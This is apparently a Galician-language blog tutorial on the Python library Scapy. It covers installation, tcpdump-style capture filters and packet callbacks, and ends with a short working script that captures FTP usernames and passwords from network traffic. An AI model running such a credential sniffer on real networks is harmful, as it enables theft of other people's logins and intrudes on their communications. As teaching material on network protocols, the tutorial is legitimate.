Scapy é unha librería de python que permite fozar coa rede dunha forma incriblemente sinxela, dende enviar pacotes feitos a man para interromper unha conexión allea ou para experimentar cos protocolos a ler todo o que pasa pola rede, hoxe faremos iso, e dicir un sniffer.
A verba sniffer deriva do inglés `sniff` "olfatexar", xa que o programa "ule" todo o que pasa pola rede, pero non nos adiantemos os acontecementos...
Como instalar Scapy
Nun sistema Gnu/Linux a instalación da librería non ten máis complicación que instalar o pacote correspondente, nas distribucións baseadas en Debian:
python-scapy
Se por exemplo escrebemos no terminal
sudo apt-get install python-scapy
o sistema descargará e instalará o paquete automáticamente.
Botando o cadelo a cazar
Para poñer o
scapy a ler o que pasa pola rede so fai falla importa-lo módulo:
from scapy.all import *
E darlle a orde de facelo:
sniff(filter=<filtro>, prn=<función_manexadora>)
Nota: é posible que diga algo coma "
WARNING: No route found for IPv6 destination :: (no default route?)", isto é normal e so ven dicindo que non atopa unha rede co protocolo IPv6, non ten maior repercusión.
Iso si, é necesario recordar que para isto fan falla permisos de superusuario, así que cando se execute haberá que telo en conta e, por exemplo, por un `sudo` antes do comando.
Se vos fixades, quedan duas cousas que definir (non son completamente necesarias, pero se queremos facer algo, pois... si), a primeira é un filtro, este escollerá os pacotes que se lerán, podemos por exemplo ignorar os que corresponden a un porto, orixe, destino ou protocolo de rede que non nos interesa. A segunda é una función que receberá o pacote e (previsiblemente) fará o que queiramos que faga con el.
Os filtros
Os filtros empregados por Scapy son os filtros propios do `
tcpdump`, un programa sniffer que xerou a librería do mesmo propósito `
libpcap`, que a súa vez forma parte da base de `
scapy`.
Un exemplo de filtro sería, "
tcp" para só ler as conexións feitas a través de
TCP, ou "
port 80" para as conexións na que o orixe ou destiño sea o
porto 80.
Este tema é bastante extenso de por si, pero baste saber que os filtros podense compoñer utilizando "
not" coma operador "
negación", "
&&" coma operador "
e lóxico" e "
||" como operador "
ou lóxico".
Pódese encontrar máis por exemplo en [
http://www.alexonlinux.com/tcpdump-for-dummies#packet_filtering ] ou facendo unha busca [
https://duckduckgo.com/html/?q=tcpdump+filters ].
A función de callback
A función non ten gran misterio, recebe coma parámetro o pacote, así que para ir pechando veremos como facer un sniffer para contrasinais de FTP, así vemos a función traballar con todo o conxunto.
#!/usr/bin/env python
# coding: utf-8
from scapy.all import sniff, TCP
# Os servidores FTP funcionan sobre TCP e (normalmente) no porto 21.
filtro = "tcp && port 21"
# Lee un pacote e avisa se atopa algo que
# poida ser un usuario ou contrasinal
def manexadora(pacote):
# Lemos os dados que envía (o payload en inglés)
dados = pacote[TCP].payload
# Senon ten nada, voltamos
if dados is None:
return None
# Se o ten convertémolo nunha cadea de caracteres
else:
dados = str(dados)
# No FTP, cando alguen se autentica primeiro manda
# unha cadea con 'USER ' e o nome de usuario
# e despois 'PASS ' e o contrasinal, imos buscar esas
# referencias.
if (dados.startswith("USER ") or
dados.startswith("PASS ")):
# Se a función manexadora devolve algo, o sniffer
# mandao pola pantalla.
# Recordando elimiñar os saltos de liña ou espacios
# o final da cadea
return dados.strip()
# Para rematar, lanzamo-lo sniffer
sniff(filter=filtro,
prn=manexadora)
E iso é todo, espero que resultara interesante.
Saúdos